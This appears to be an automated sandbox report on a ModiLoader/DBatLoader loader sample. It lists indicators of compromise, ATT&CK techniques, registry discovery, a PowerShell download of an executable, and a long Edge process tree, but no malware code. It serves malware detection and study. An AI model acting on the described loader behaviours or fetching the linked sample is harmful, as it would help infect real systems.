modiloader | hxxps://bazaar[.]abuse[.]ch/download/5774db473258bf744264a3a02e01931fa02ecd19a26f0f9329bfa5ac89d08512/

Analysis

max time kernel
144s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
01/04/2025, 22:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://bazaar.abuse.ch/download/5774db473258bf744264a3a02e01931fa02ecd19a26f0f9329bfa5ac89d08512/

Score

10^/10

modiloader defense_evasion discovery execution trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Modiloader family
modiloader

ModiLoader Second Stage 1 IoCs

resource	yara_rule
behavioral1/memory/5704-865-0x0000000002960000-0x0000000003960000-memory.dmp	modiloader_stage2

Blocklisted process makes network request 1 IoCs

flow	pid	Process
178	692	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
178	692	powershell.exe

Evasion via Device Credential Deployment 4 IoCs

defense_evasion execution

pid	Process
2524	powershell.exe
1740	cmd.exe
692	powershell.exe
6136	cmd.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
5704	sihost.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\nl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\en_US\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\zu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\hy\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\id\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\page_embed_script.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\ja\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\uk\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\am\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\lt\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\ms\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\ca\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\th\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\kn\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\cy\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\hi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\en_GB\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\sl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\gu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_1695015628\protocols.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\mr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\sr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\iw\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\fr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_1104337673\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\msedge_url_fetcher_2372_1409841540\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_90_1_0.crx	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\dasherSettingSchema.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\bn\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\lv\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\tr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\it\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\vi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\manifest.fingerprint	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\ka\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\cs\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\da\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\de\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\pa\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\es\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\is\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\el\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\si\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\ar\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\sw\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\ur\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\fa\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\ne\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\128.png	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\ru\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_1695015628\manifest.fingerprint	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_1104337673\manifest.fingerprint	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\hr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\az\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_1104337673\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_1809206810\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\offscreendocument.html	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\es_419\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_739352880\_locales\ta\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2372_1809206810\deny_etld1_domains.list	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sihost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133880213270163764"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-446031748-3036493239-2009529691-1000\{F358B072-FCDF-4229-8AA8-55F77AC7790D}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000_Classes\Local Settings	msedge.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
5404	msedge.exe
5404	msedge.exe
692	powershell.exe
692	powershell.exe
692	powershell.exe
2524	powershell.exe
2524	powershell.exe
2524	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeRestorePrivilege	900	7zG.exe
Token: 35	900	7zG.exe
Token: SeSecurityPrivilege	900	7zG.exe
Token: SeSecurityPrivilege	900	7zG.exe
Token: SeRestorePrivilege	5600	7zG.exe
Token: 35	5600	7zG.exe
Token: SeSecurityPrivilege	5600	7zG.exe
Token: SeSecurityPrivilege	5600	7zG.exe
Token: SeDebugPrivilege	692	powershell.exe
Token: SeDebugPrivilege	2524	powershell.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
900	7zG.exe
5600	7zG.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe
2372	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2372 wrote to memory of 2988	2372	msedge.exe	88
PID 2372 wrote to memory of 2988	2372	msedge.exe	88
PID 2372 wrote to memory of 4856	2372	msedge.exe	89
PID 2372 wrote to memory of 4856	2372	msedge.exe	89
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4684	2372	msedge.exe	90
PID 2372 wrote to memory of 4636	2372	msedge.exe	91
PID 2372 wrote to memory of 4636	2372	msedge.exe	91
PID 2372 wrote to memory of 4636	2372	msedge.exe	91
PID 2372 wrote to memory of 4636	2372	msedge.exe	91
PID 2372 wrote to memory of 4636	2372	msedge.exe	91
PID 2372 wrote to memory of 4636	2372	msedge.exe	91
PID 2372 wrote to memory of 4636	2372	msedge.exe	91
PID 2372 wrote to memory of 4636	2372	msedge.exe	91
PID 2372 wrote to memory of 4636	2372	msedge.exe	91

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://bazaar.abuse.ch/download/5774db473258bf744264a3a02e01931fa02ecd19a26f0f9329bfa5ac89d08512/
1⤵
- Drops file in Program Files directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x25c,0x7ffead99f208,0x7ffead99f214,0x7ffead99f220
  2⤵
  PID:2988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1872,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=2268 /prefetch:3
  2⤵
  PID:4856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2232,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=2228 /prefetch:2
  2⤵
  PID:4684
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2528,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=2592 /prefetch:8
  2⤵
  PID:4636
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3472,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:1
  2⤵
  PID:4980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3460,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=3492 /prefetch:1
  2⤵
  PID:4884
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=4896,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=4924 /prefetch:1
  2⤵
  PID:1236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=3424,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=4828 /prefetch:1
  2⤵
  PID:5904
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5764,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=5744 /prefetch:8
  2⤵
  PID:5472
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5772,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=5820 /prefetch:8
  2⤵
  PID:4560
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3464,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:8
  2⤵
  PID:3672
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6112,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=5292 /prefetch:8
  2⤵
  PID:3220
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6112,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=5292 /prefetch:8
  2⤵
  PID:532
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6308,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=6316 /prefetch:8
  2⤵
  PID:1744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6312,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=6340 /prefetch:8
  2⤵
  PID:5424
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5528,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=6468 /prefetch:8
  2⤵
  PID:2916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5512,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:8
  2⤵
  PID:4032
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5548,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=6408 /prefetch:8
  2⤵
  PID:1152
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5800,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=5444 /prefetch:8
  2⤵
  PID:5764
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --field-trial-handle=5064,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=5408 /prefetch:1
  2⤵
  PID:820
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5732,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=4780 /prefetch:8
  2⤵
  PID:5436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6920,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=4780 /prefetch:8
  2⤵
  PID:1120
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5840,i,11275748460467121455,6605099895929571418,262144 --variations-seed-version --mojo-platform-channel-handle=5060 /prefetch:8
  2⤵
